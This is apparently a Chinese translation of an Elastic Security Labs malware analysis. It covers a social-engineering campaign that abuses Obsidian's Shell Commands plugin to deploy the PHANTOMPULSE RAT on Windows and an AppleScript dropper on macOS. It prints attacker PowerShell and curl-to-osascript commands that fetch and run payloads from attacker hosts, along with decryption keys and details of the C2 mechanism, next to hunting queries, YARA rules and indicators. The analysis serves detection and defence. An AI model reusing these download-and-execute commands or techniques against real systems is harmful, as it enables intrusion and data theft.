后续出版物将对 PHANTOMPULSE 本身进行更深入的技术分析,更详细地介绍其注入引擎、持久性内部结构和 C2 协议。
前言
Elastic Security Labs 发现了一种新型社交工程活动,它滥用流行的笔记应用程序Obsidian 作为初始访问载体。我们追踪到的这个活动名为 REF6598,它通过在 LinkedIn 和 Telegram 上精心设计的社交工程,以金融和加密货币领域的个人为目标。威胁行为者滥用 Obsidian 的合法社区插件生态系统,特别是Shell Commands和Hider插件,在受害者打开共享云保险库时悄悄执行代码。
在观察到的入侵事件中,Elastic Defend 在早期阶段就检测到并阻止了攻击,从而阻止了威胁方在受害者机器上实现其目标。
攻击链是跨平台的,Windows 和 macOS 都有专门的执行路径。在 Windows 系统中,中间加载器使用 AES-256-CBC、定时器队列回调执行和多种反分析技术,完全在内存中解密和反射加载有效载荷。这个链条的最终结果是部署了一个以前没有记录的 RAT,我们将其命名为PHANTOMPULSE,这是一个由大量人工智能生成的全功能后门,具有基于区块链的 C2 解析、通过模块踩踏进行高级进程注入等功能。在 macOS 上,该攻击利用基于 Telegram 的回退 C2 解决机制部署了一个经过混淆的 AppleScript 灌入器。
本文章将详细介绍从社交工程到最终有效载荷分析的整个攻击链,并提供检测指导和入侵指标。
关键要点
- PHANTOMPULSE 是一种新型人工智能辅助 Windows RAT,其特点是通过以太坊交易数据和独特的注入技术实现基于区块链的 C2 解析。
- 我们发现了 C2 机制中的一个薄弱环节,它允许响应者接管植入程序
- 黑曜石被滥用于初始访问社交工程攻击
- 针对 Windows 和 macOS 的跨平台攻击链
- macOS 有效载荷使用多级 AppleScript 缓存器和 Telegram 缓存器进行后备 C2 解析
- PHANTOMPULL 是一款定制的内存加载器,可提供 PHANTOMPULSE
活动概述
威胁行动者打着风险投资公司的幌子,通过 LinkedIn 与目标人物建立联系。初次接触后,对话会转移到一个 Telegram 群组,在该群组中,多个声称的合作伙伴都会参与进来,从而提高了互动的可信度。讨论围绕金融服务展开,特别是加密货币流动性解决方案,创造了一个合理的商业环境。
目标被要求使用作为公司"管理数据库" 的Obsidian 来访问共享仪表板。目标会获得连接到攻击者控制的云托管保险库的凭据。
这个保险库是初始访问向量。在 Obsidian 中打开后,目标会被指示启用社区插件同步。之后,木马插件就会悄无声息地执行攻击链。
初始访问
以 Obsidian 为父进程执行可疑 PowerShell 时触发 Elastic Defend 行为警报。这立即引起了我们的注意。起初,我们怀疑是一个伪装成黑曜石的不受信任的二进制文件。不过,在检查了父进程代码签名和哈希值后,它似乎是合法的黑曜石二进制文件。
我们通过进程事件调用堆栈来确定是否涉及第三方 DLL 副加载或未后退内存区域,并确认进程创建直接源于 Obsidian 本身。
然后,我们通过修改依赖文件或恶意 .asar 文件,调查了周围文件是否存在 JavaScript 注入迹象。文件种植。一切看起来都是干净、合法的黑曜石安装,没有第三方代码。于是,我们决定自己安装黑曜石,探索攻击者可以利用哪些选项来执行命令。
首先最引人注目的是使用电子邮件和密码登录黑曜石同步保险库的功能。
Obsidian 的保险库同步功能允许跨设备和平台同步笔记和文件。在查看恶意远程保险库中.obsidianconfig 文件夹中,我们发现了安装 Shell Commands 社区插件的证据:
C:\Users\user\Documents\<redacted_vault_name>\.obsidian\plugins\obsidian-shellcommands\data.json
shell 命令插件允许用户根据可配置的触发器(如黑曜石启动、关闭、每 N 秒一次等)执行特定平台的 shell 命令。
data.json 的内容证实了我们的推测:配置的命令与我们在最初的 PowerShell 行为警报中观察到的完全一致。
为了验证完整的攻击链,我们尝试在两台机器(一台主机和一台使用付费 Obsidian Sync 许可的虚拟机)上端对端复制行为。在主机上,我们安装了 Shell Commands 社区插件,并配置了一个自定义命令,以便在启动时生成notepad.exe 。在虚拟机上,我们登录同一个 Obsidian 账户并连接到远程保险库。
虚拟机上的同步保险库收到了基本配置文件(app.json,appearance.json,core-plugins.json,workspace.json ),但plugins/ 目录和community-plugins.json 显然完全不存在。这是因为 Obsidian 的 "同步 "设置暴露了两个单独的切换项"活动社区插件列表" 和"安装的社区插件" 这两个切换项默认为禁用,属于本地客户端偏好设置,不会通过同步传播。
如下图所示,插件和 community_plugins 清单不会自动同步(任何在 .obsidian目录)。
不过,一旦启用,Shell Commands 插件会在打开保险库时立即触发执行攻击者定义的命令:
这意味着攻击者无法仅通过保险库同步远程强制安装或启用社区插件。在武器化插件配置下拉并触发执行之前,受害者必须在其设备上手动启用社区插件同步。
在我们调查的案例中,攻击者直接向受害者提供了黑曜石账户凭证,作为社交工程诱饵的一部分,很可能是指示他们登录、启用社区插件同步并连接到预置的保险库。完成这些步骤后,Shell Commands 插件及其 data.json 配置会自动同步,在下一个配置触发器上,无需任何进一步交互即可执行有效载荷。
虽然这种攻击需要社会工程学才能跨越社区插件同步边界,但其技术仍然值得注意:它滥用合法应用程序功能作为持久性和命令执行渠道,有效载荷完全存在于不太可能触发传统防病毒签名的 JSON 配置文件中,并且由签名的可信 Electron 应用程序执行,因此基于父进程的检测成为关键层。
除了 Shell Commands 插件外,作者还使用了Hider(v1.6.1),这是一个可以隐藏界面元素的用户界面清理插件。在启用所有隐蔽选项后,配置如下:
{
"hideStatus": true,
"hideTabs": true,
"hideScroll": true,
"hideSidebarButtons": true,
"hideTooltips": true,
"hideFileNavButtons": true,
}
Windows 执行链
阶段 1
Shell Commands 插件的 Windows 命令包含两个Invoke-Expression 调用,其中的 Base64 编码字符串解码如下:
iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"
这将从硬编码 IP 地址下载第二阶段 PowerShell 脚本并执行。
阶段 2
下载的 PowerShell 脚本 (script1.ps1) 实现了一种带有内置操作员通知系统的加载器交付机制。脚本使用BitsTransfer 下载下一阶段的二进制文件,并向 C2 报告进度。
Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
-Destination "$env:TEMP\syncobs.exe"
下载完成后,脚本会验证文件是否存在,并将结果报告给195.3.222[.]251/stuk-phase 上的 C2。似乎是在状态信息中预置了字符(G,R ),将GREEN 或RED 声明为状态颜色代码。下表列出了所有状态信息:
| 状态信息 | 意义 |
|---|---|
GFILE FOUND ON PC | 二进制文件下载成功 |
RDOWNLOAD ERROR | 下载失败,重试 |
RFATAL DOWNLOAD ERROR | 重试后下载失败 |
GLAUNCH SUCCESS | 已执行的二进制程序和检测到的子进程 |
RLAUNCH FAILED | 二进制文件未能在超时内启动 |
GSESSION CLOSED | 执行顺序已完成 |
与每次状态更新一起发送的tag 参数 (Obsidian) 标识了活动或感染载体,表明操作员可能同时运行多个活动。
if ($started) {
Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GLAUNCH SUCCESS"; tag = $tag }
} else {
Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "RLAUNCH FAILED"; tag = $tag }
}
Start-Sleep -Seconds 3
Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GSESSION CLOSED"; tag = $tag }
装载机 - PHANTOMPULL
该加载器是一个 64 位 Windows PE 可执行文件,可从自身资源中提取 AES-256-CBC 加密的 PE 有效载荷,对其进行解密,然后将其加载到内存中。然后,内存中的有效载荷会通过 HTTPS 从域 (panel.fefea22134[.]net) 下载下一阶段的内容。
然后通过DllRegisterServer 对第三级有效载荷(PHANTOMPULSE)进行解密和反射加载。我们称这种加载器为 PHANTOMPULL,它包括运行时 API 解析和基于定时队列的执行。该样本包括一些小的规避/混淆形式,以及死代码;这些技术被用作反分析伎俩,以浪费分析人员调查恶意软件的时间。
执行流程
阶段 1
阶段 2
虚假完整性检查
加载程序使用死码保护程序从一个奇怪的起点开始,该程序将GetTickCount() 与十六进制值 (0xFFFFFFFE) 进行比较--该值相当于大约 49.7 天的连续系统正常运行时间,使得该条件几乎无法达到。受保护程序块包含令人信服但无法实现的反篡改功能,旨在浪费分析人员的逆向工程时间。
anti_tamper_integrity_checksum() 函数也很奇怪,它实际上并不对任何底层字节进行散列,而是对二进制文件中的所有函数地址进行求和。校验和从未与任何内容进行过比较;这很可能是一种反分析技术,目的是浪费分析师的时间,并使二进制文件变得臃肿。
API 哈希
该加载器在运行时使用djb2 哈希算法动态解析 API 函数,种子0x4E67C6A7 。解决了以下 API:
VirtualAllocVirtualProtectVirtualFreeLoadLibraryAGetProcessAddress
资源提取+解密
PHANTOMPULL 将加密的内存有效载荷存储在自己的资源中。
为了提取字节,它使用FindResourceA, 定位 ID (101) 下的资源类型 (RT_RCDATA)。资源被映射到内存中,并复制到标有PAGE_READWRITE 权限的区域。
接下来,加载程序会使用BCryptOpenAlgorithmProvider 执行 AES-256-CBC 解密。密钥硬编码在.rdata 部分
钥匙 6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206
IV 也是堆栈中的硬编码: A6FA4ADFC20E8E6B77E2DD631DC8FF18
解密后,加载器通过使用硬编码值 (0x0C1DF) 与 (0x9B92) 进行 XOR(等于 PE 魔法头 (0x5a4d))的比较指令来检查 MZ 头的魔法值,从而验证输出是否为有效的 PE。这就是一些轻量级混淆工作的例子,这些混淆工作往往显得笨拙,无法融入其中。
执行
加载器没有直接调用有效载荷(很容易被沙箱检测到),而是使用了定时器队列回调。50 毫秒的延迟和独立线程执行可以规避各种安全/沙盒工具。
回调内部是反射式 PE 加载功能,然后用于执行下一阶段。
这种反射加载功能是核心执行组件。它复制 PE 头文件,将每个部分映射到内存中,应用基本重定位,解析导入,并设置最终部分保护--生成一个功能齐全、驻留内存的 PE,而且永远不会接触磁盘。
然后,通过一条间接call rbp 指令将执行转移到第二阶段,其中 RBP 保存了经过计算的反射加载 PE 的入口点地址。
第二阶段
第二阶段负责下载远程托管的有效载荷(PHANTOMPULSE),并使用类似的反射加载技术发射植入物。这一阶段首先通过对两个硬编码全局变量的 XOR 运算创建一个互斥器。
该样本的互斥名是 hVNBUORXNiFLhYYh
创建互斥后,这段代码会进入一个持久循环,尝试从 C2 服务器下载有效载荷。如果下载成功返回一个有效的缓冲区,就会中断并进入反射加载阶段。
一旦失败,代码就会采用指数退避法--从 5 秒钟的休眠开始,每次重试的时间乘以 1.5 倍,最后以 5 分钟为上限。这就避免了固定信标间隔在网络流量中留下明显指纹。
下载程序的功能首先是解密 C2 和 URL。
C2 和 URL 都使用简单的字符串解密功能解密,使用的是 16 字节旋转密钥 (f77c8e40dfc17be5e74d8679d5b35341)。
接下来,恶意软件会创建 HTTPS 请求,使用 URI/v1/updates/check?build=payloads 添加字符串,并设置用户代理 (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36)。该加载器使用 WinHTTP 库连接到443 端口的 C2。
恶意软件从远程 C2 URL 获取缓冲区,并使用 16 字节 XOR 密钥解密有效载荷 (dcf5a9b27cbeedb769ccc8635d204af9)
下面是 XOR 编码有效载荷的第一个字节:
下面是 XOR 发生后的第一个字节:
完成下载和 XOR 操作后,PHANTOMPULL 会解析有效载荷,并使用DLLRegisterServer 反映 DLL。
通过快速检查字符串,我们可以看到主要后门 "PHANTOMPULSE":
大鼠 - 幻影脉冲
PHANTOMPULSE 是一款复杂的 64 位 Windows RAT,设计用于隐身、弹性和全面远程访问。二进制文件显示出人工智能辅助开发的强烈迹象:整个代码的调试字符串异常冗长,具有自文档性,并遵循结构化的步骤编号模式 ([STEP 1],[STEP 1/3],[STEP 2/3])
在研究过程中,我们发现 C2 基础设施有一个公开暴露的面板,品牌为“Phantom Panel" ,其特点是登录页面包含用户名、密码和验证码字段。面板的设计和结构表明它也是人工智能生成的,这与在 RAT 中观察到的开发模式本身是一致的。
通过区块链进行 C2 轮换
PHANTOMPULSE 利用公共区块链基础设施作为死点,实现了一种去中心化的 C2 解决机制。恶意软件获取 C2 URL 的主要方法是从链上交易数据中解析出来。如果多次尝试区块链解析失败,硬编码的 C2 URL 可作为备用。
恶意软件在三个 Blockscout 实例上查询 Etherscan 兼容 API (/api?module=account&action=txlist&address=<wallet>&page=1&offset=1&sort=desc):
eth.blockscout[.]com(以太坊 L1)base.blockscout[.]com(基准 L2)optimism.blockscout[.]com(乐观主义 L2)
每次请求都会获取与硬编码钱包地址(0xc117688c530b660e15085bF3A2B664117d8672aA )相关的最新交易,该地址本身已在二进制中进行了 XOR 加密。恶意软件从 JSON 响应中解析交易的input 数据字段,去除0x 前缀,对原始字节进行十六进制解码,然后使用钱包地址作为 XOR 密钥对结果进行 XOR 解密。如果解密后的输出以http 开头,就会被接受为新的活动 C2 URL。
这种技术为运营商提供了与基础设施无关的轮换功能:发布一个新的 C2 端点只需向三个受监控链中任何一个链上的钱包提交一个带有精心制作的 Calldata 的交易即可。由于区块链交易不可变且可公开访问,恶意软件可以随时找到其 C2,而无需依赖集中式基础设施。三个独立链的使用增加了冗余性:即使其中一个链的探索器被阻塞或不可用,其余两个也能提供替代的解决路径。
然而,这种设计带来了一个重大缺陷。Blockscout API 会返回涉及钱包地址的所有交易,包括发送和接收,并按时间倒序排序。恶意软件不会验证交易的发送方。这意味着任何知道钱包地址和 XOR 密钥(两者都可以从二进制文件中恢复)的第三方都可以向钱包发送包含竞争输入有效载荷的交易。由于恶意软件总是选择最近的交易,因此时间戳较新的单个入站交易将覆盖操作员预定的 C2 URL。实际上,这使得任何人都可以通过提交使用相同 XOR 方案编码的天坑 URL 来劫持 C2 解析,从而有效地将所有受感染主机重定向到远离攻击者基础设施的地方。
C2 通讯
PHANTOMPULSE 使用 WinHTTP 进行 C2 通信,动态加载winhttp.dll ,并在运行时解析所有需要的功能。C2 基础设施围绕五个应用程序接口端点构建:
| 终端 | Method | 用途 |
|---|---|---|
/v1/telemetry/report | 职位 | 带有系统遥测功能的心跳 |
/v1/telemetry/tasks/<id> | Get | 命令获取 |
/v1/telemetry/upload/ | 职位 | 截图/文件上传 |
/v1/telemetry/result | 职位 | 命令结果传送 |
/v1/telemetry/keylog/ | 职位 | 上传键盘记录数据 |
心跳会以 JSON 格式发送全面的系统遥测信息,包括 CPU 型号、GPU、RAM、操作系统版本、用户名、权限级别、公共 IP、已安装的 AV 产品、已安装的应用程序以及最后一次命令执行的结果。
Command table
命令调度程序会解析来自 C2 的 JSON 响应,并通过djb2 算法提取和散列命令。正如下面的伪代码所示,这个哈希值由一个 switch-case 语句处理,以执行相应的逻辑:
| 散列 | 命令 | 操作 |
|---|---|---|
0x04CF1142 | inject | 将 shellcode/DLL/EXE 注入目标进程 |
0x7C95D91A | drop | 将文件拖放到磁盘上,然后执行 |
0x9A37F083 | screenshot | 捕捉并上传截图 |
0x08DEDEF0 | keylog | 启动/停止键盘记录程序 |
0x4EE251FF | uninstall | 全面移除和清理持久性 |
0x65CCC50B | elevate | 通过 COM 提升单名升级到 SYSTEM |
0xB3B5B880 | downgrade | SYSTEM -> 提升管理过渡 |
0x20CE3BC8 | <unresolved> | 解决 API,调用 ExitProcess(0) 自终止 |
MacOS 执行链
第 1 阶段:通过 osascript 使用 AppleScript
Shell 命令插件的 macOS 命令通过osascript 执行 Base64 编码的有效负载。
解码后的有效载荷主要执行两个操作:
LaunchAgent 持久性:在~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist 创建持久 LaunchAgent plist,配置为KeepAlive ,RunAtLoad 设置为true ,确保第二阶段有效载荷在每次登录时执行,并在终止时重启。
第二阶段执行:LaunchAgent 通过/bin/bash -c 管道进入osascript ,执行经过大量混淆处理的 AppleScript 程序。
第 2 阶段:混淆 AppleScript 滴管程序
第二阶段的有效载荷是一个经过混淆的 AppleScript 程序,采用了多种规避技术。
字符串混淆:所有敏感字符串(域名、URL、用户代理值)都是在运行时使用ASCII character 、character id 和string id 调用构建的,从而防止静态字符串提取:
property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: "0x666.info"
诱饵变量:定义了大量名称和数值随机的未使用变量,以增加熵和阻碍分析。
片段连接:通过混合编码方法分割字符串,将字面片段与字符 ID 查找相结合,从而避免模式匹配。
通过 Telegram 回退实现 C2 解决
滴管采用分层 C2 解决策略:
- 主要:遍历硬编码的域列表(包括
0x666[.]info),发送内容为"check"的 POST 请求,以验证 C2 的可用性 - 后备:如果主域无法访问,则会搜索公共 Telegram 频道 (
t[.]me/ax03bot) 以提取备用域
这种 Telegram 死锁技术允许运营商轮换 C2 基础设施,使基于域的拦截不足以作为唯一的缓解措施。
有效载荷检索
一旦 C2 得到解决,脚本就会下载第二级有效载荷,并将其直接导入osascript :
curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST <C2_URL> \
-H "User-Agent: <spoofed Chrome UA>"-d "txid=346272f0582541ae5dd08429bb4dc4ff&bmodule"| osascript
受害者标识符 (txid) 和模块选择器 (bmodule) 作为 POST 参数发送。预计响应将是立即执行的另一个 AppleScript 有效载荷。在分析时,macOS 链的 C2 服务器处于离线状态,因此无法收集后续阶段的数据。
基础设施分析
钱包活动
检查硬编码钱包 (0xc117688c530b660e15085bF3A2B664117d8672aA) 的链上活动可以发现操作员的 C2 轮换历史。最近的两笔交易都是自我转账(钱包向自己转账),每笔交易的输入数据都编码了不同的 C2 URL:
| 日期(世界协调时) | 解码 C2 URL |
|---|---|
Feb 19, 2026 12:29:47 | https://panel.fefea22134[.]net |
Feb 12, 2026 22:01:59 | https://thoroughly-publisher-troy-clara[.]trycloudflare[.]com |
值得注意的是,Cloudflare Tunnel 域 (trycloudflare[.]com) 被用作先前的 C2 端点,因为它允许操作员通过 Cloudflare 的基础架构暴露本地服务器,而无需注册域,从而提供了额外的匿名性。
该钱包最初于 2 月12,2026,21:39:47 UTC 由一个独立账户 (0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E) 转账 5.84 美元,输入栏为空 (0x),确认这纯粹是一笔资金交易。在过去三个月中,该融资钱包本身进行了约 50 次交易,这为发现同一威胁行为者操作的其他活动提供了潜在支点。
有效载荷暂存服务器
195.3.222[.]251 的初始有效载荷传输服务器托管在AS 201814 (MEVSPACE sp. z o.o.)上,这是一家波兰托管服务提供商。
PhantomPulse C2 面板
域名fefea22134[.]net 解析到 Cloudflare IP (104.21.79[.]142 和172.67.146[.]15),表明 C2 面板位于 Cloudflare 代理后面。被动域名解析历史记录显示,该域名于 2026-03-12 首次解析,较早的解析指向 2026-03-20 的不同 IP(188.114.97[.]1 和188.114.96[.]1 )。
该域使用的 Let's Encrypt 证书首次出现在 2026-03-12 日:
- 序列号
5130b76e63cd41f11e6b7c2a77f203f72b4 - 拇指印
6c0a1da746438d68f6c4ffbf9a10e873f3cf0499 - 有效性:
2026-02-19 to 2026-05-20
证书签发日期(2 月 19 日)与最近的区块链 C2 轮转交易编码panel.fefea22134[.]net 一致,表明基础设施是在 C2 URL 在链上发布的同一天配置的。
结论
REF6598 展示了威胁行为者如何通过滥用受信任的应用程序和有针对性的社交工程,继续寻找创造性的初始访问载体。通过滥用黑曜石的社区插件生态系统而不是利用软件漏洞,攻击者完全绕过了传统的安全控制,依靠应用程序的预期功能来执行任意代码。
在观察到的入侵事件中,Elastic Defend在 PHANTOMPULSE 执行之前的早期阶段就检测到并阻止了攻击链,从而阻止了威胁行为者实现其目标。行为保护装置触发了来自黑曜石的异常进程执行,阻止了有效载荷的传输。
金融和加密货币领域的组织应该意识到,合法的生产力工具可能会变成攻击载体。防御者应监控 Obsidian 等应用程序的异常子进程创建,并尽可能执行应用程序级插件策略。本研究提供的指标和检测逻辑可用于识别和应对这种活动。
Elastic Security Labs 将继续监控 REF6598 的进一步发展,包括在相关 C2 基础设施开始运行后监控其他 macOS 有效载荷。
MITRE ATT&CK
Elastic 使用MITRE ATT&CK框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和程序。
战术
策略代表了技术或子技术的原因。 这是对手的战术目标:采取行动的原因。
技术
技术代表对手如何通过采取行动来实现战术目标。
- 网络钓鱼:通过服务进行鱼叉式网络钓鱼
- User Execution: Malicious File
- 命令和脚本解释器:PowerShell
- 命令和脚本解释器:AppleScript
- Deobfuscate/Decode Files or Information
- 反射式代码加载
- 虚拟化/沙盒逃避:基于时间的逃避
- 进程注入
- 计划任务/作业:计划任务
- 启动或登录自动启动执行:Plist 修改
- 输入捕获:键盘记录
- 屏幕截图
- 系统信息发现
- 滥用提升控制机制:绕过 UAC
检测 REF6598
检测
在对该入侵集的分析过程中观察到了以下检测规则和行为预防事件:
预防
在 Elastic 中搜寻查询
这些狩猎查询用于识别黑曜石社区 shell 命令插件的存在以及由此产生的命令执行情况:
KQL
event.category : file and process.name : (Obsidian or Obsidian.exe) and
file.path : *obsidian-shellcommands*
event.category : process and event.type : start and
process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and
process.parent.name : (Obsidian.exe or Obsidian)
雅拉
Elastic Security 创建了 YARA 规则来识别这种活动。以下是识别 "幻影拉力"和"幻影脉冲 "的 YARA 规则
rule Windows_Trojan_PhantomPull {
meta:
author = "Elastic Security"
os = "Windows"
category_type = "Trojan"
family = "PhantomPull"
threat_name = "Windows.Trojan.PhantomPull"
reference_sample = "70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980"
strings:
$GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
$djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
$mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
$str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
$payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
$url = "/v1/updates/check?build=payloads" ascii fullword
condition:
3 of them
}
rule Windows_Trojan_PhantomPulse {
meta:
author = "Elastic Security"
os = "Windows"
category_type = "Trojan"
family = "PhantomPulse"
threat_name = "Windows.Trojan.PhantomPulse"
reference_sample = "9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d"
strings:
$a = "[UNINSTALL 2/6] Removing Scheduled Task..." fullword
$b = "PhantomInject: host PID=%lu" fullword
$c = "inject: shellcode detected -> InjectShellcodePhantom" fullword
$d = "inject: shellcode detected, using phantom section hijack" fullword
condition:
all of them
}
观察结果
本研究讨论了以下可观察的结果。
| 可观测 | 类型 | 名称 | 参考 |
|---|---|---|---|
70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980 | SHA-256 | syncobs.exe | PHANTOMPULL 装载机 |
33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f | SHA-256 | PhantomPulse RAT(最终有效载荷) | |
195.3.222[.]251 | IPv4 地址 | 暂存服务器(PowerShell 脚本& 载入器交付) | |
panel.fefea22134[.]net | 域名 | PhantomPulse C2 面板 | |
0x666[.]info | 域名 | macOS 滴管 C2 域 | |
t[.]me/ax03bot | URL | macOS 滴管 Telegram 回退 C2 | |
0xc117688c530b660e15085bF3A2B664117d8672aA | 加密钱包 | 用于解决区块链 C2 问题的以太坊钱包 | |
0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E | 加密钱包 | 用于 C2 决议的资金钱包 | |
thoroughly-publisher-troy-clara[.]trycloudflare[.]com | 域名 | 先前的 PhantomPulse C2(Cloudflare 隧道) |